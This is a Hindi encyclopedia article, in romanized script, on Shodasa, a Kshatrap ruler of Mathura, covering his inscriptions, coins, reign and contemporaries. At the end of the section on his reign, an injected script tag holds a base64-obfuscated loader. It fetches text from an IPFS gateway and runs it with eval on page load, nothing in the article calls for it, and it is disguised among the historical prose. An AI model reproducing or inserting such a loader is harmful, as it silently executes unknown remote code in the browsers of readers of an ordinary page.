शोडाष
shodas kalin abhilekh, pratham shatabdi ee.poo.|thumb|250px shodas (sodas) (shasan-kal ee. poorv 80 se ee. poorv 57) rajubul (rajavul) ka putr tha. shodas ne mathura par lambe samay tak shasan kiya. rajabul ke bad usaka putr shodas (lagabhag ee. poorv 80-57) shasanadhikari hua. 1869 ee. mean mathura se patthar ke ek 'sianh-shirsh' ke shilalekh par shodas ki upadhi 'kshatrap' aankit hai, kintu mathura mean hi mile any shilalekhoan mean use 'mahakshapatr' kaha gaya hai. anek sikkoan ka milana isaka praman hai. jin par “mahakshatrap” sambodhan hai. kankali tila (mathura) se prapt ek shilapatt par san0 (?) 72 ka brahmi lekh hai, jisake anusar 'svami mahakshatrap' shodas ke shasanakal mean jain bhikshu ki shishya amohini ne ek jain vihar ki sthapana ki .[1] rajubul ki patni kanbojika ne mathura mean yamuna nadi ke tat par ek bauddh-bihar nirmit karaya tha, jisake lie shodas ne kuchh bhoomi dan mean di thi . mathura ke hinayan mat vale bauddhoan ki 'sarvastivadinh' namak shakha ke bhikshuoan ke nirvah ke lie yah dan diya gaya tha. sianh-shirsh ke in kharoshthi lekhoan se jnat hota hai ki shodas ke kal mean mathura ke bauddhoan mean hinayan tatha mahayan (mahasandhik)-- mukhyatah in donoan shakhaoan ke anuyayi the aur inamean paraspar vad-vivad bhi hote the. thumb|250px|shodash ke samay ka lekh
shodash ke sikke
shodash ke sikke do prakar ke hai, pahale ve hai jin par samane ki taraph kh di huee lakshmi ki moorti tatha doosari taraph lakshmi ka abhishek chitrit hai. in sikkoan par hindi mean 'rajubul putas khatapas shodasas' likha hua hai .[2] doosare prakar ke sikkoan par lekh mean keval 'mahakshatrap shodasas' chitrit hai . isase anuman hota hai ki shodash ke pahale vale sikke us samay ke hogean jab usaka pita jivit raha hoga aur doosare rajubul ki mrityu ke bad, jab shodash ko raja ke poore adhikar mil chuke hogean . [3] shodash tatha rajubul ke sikke hiand -yoonani shasak straito tatha mathura ke mitr-shasakoan ke sikkoan se bahut milate-julate haian . shodash ke abhilekhoan mean sabase mahattvapoorn vo lekh hai jo ek siradal (dhanni) par utkirn hai. yah siradal mathura chhavani ke ek kuean par mili thi, jo katara keshavadev se laee gee pratit hoti hai.
shasan kal
mahakshatrap shodash ka shasan-kal ee. poorv 80 se ee. poorv 57 ke bich mana jata hai. yah sabase pahala abhilekh hai jisamean mathura mean krishna-mandir ke nirman ka ullekh milata hai. shodash ka samakalin takshashila ka shasak patik tha. mathura ke ukt sianh- shirsh par khude hue ek lekh mean patik ki upadhi 'mahakshatrap' di huee hai. takshashila se prapt san078 mean ek doosare shilalekh mean 'mahadanapati' patik ka nam aya hai. sambhavatah ye dono patik ek hi hai aur jab shodash mathura ka kshatrap tha usi samay patik takshashila mean mahakshatrap tha. mathura-lekh mean patik ke sath mevaki ka nam bhi ata hai. ganeshara gaanv (ji0 mathura) se mile ek lekh mean kshatrap ghatak ka nam bhi hai.[4] shodash ke sath in kshatrapoan ka kya sanbandh tha, yah vivaran kahian nahian milata hai. ee. poorv pahali shati ka poorvarddh pashchimottar bharat ke shakoan ke shasan ka samay tha . is samay mean takshashila se lekar uttari maharashtrh tak shakoan ka hi ekachhtr rajy ho gaya tha. [5] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- ↑ dekhiye- dineshachandr sarakar-selekt ianskripshan, ji.1,pri. 118-19.
- ↑ elan-vahi,pri. 190-91 . kuchh sikkoan par 'rajubulaputas' ke sthan par 'mahasvatapas putas 'rahata hai.
- ↑ mathura ke sianh-shirsh lekh mean shoda ke nam ke sath 'kshatrap' hi milata hai. sanbhavatahis lekh ke lagane ke samay rajubul us samay jivit tha aur shodas us samay rajakumar tha. mathura pradesh par rajubul ka adhikar usaki vriddhavastha mean hua pratit hota hai. shodash ke samay mean uttar-pashchim ka ek bada़ bhag usake hath se nikal gaya, par mathura usake adhikar mean bana raha. elan ne sar richard barn ke sangrah ke ek sikke ka ullekh kiya hai, jis par 'mahasvatapasaputas toranadasas' lekh milata hai. yah sikka shodas ke sikkoan jaisa hi hai. elan ka anuman hai ki toranadas(?) sanbhavatah rajubul ke doosare putr ka nam hoga. mora ke lekh mean rajubul ke doosare putr ka ullekh milata hai. (elan vahi, prishth 112
- ↑ jarnal aph rayal eshiyatik sosaiti, 1912,pri. 121
- ↑ kuchh vidvanoan ka anuman hai ki ye shasak parthiyan (pahlv) vashan ke the thik nahian. rajubul, nahapan tatha unake vansh ke shasakoan ke jo chehare sikkoan par milate haian unhean dekhane se yah spasht pata chalata hai ki pahlvoan se unaki nitant bhinnata hai.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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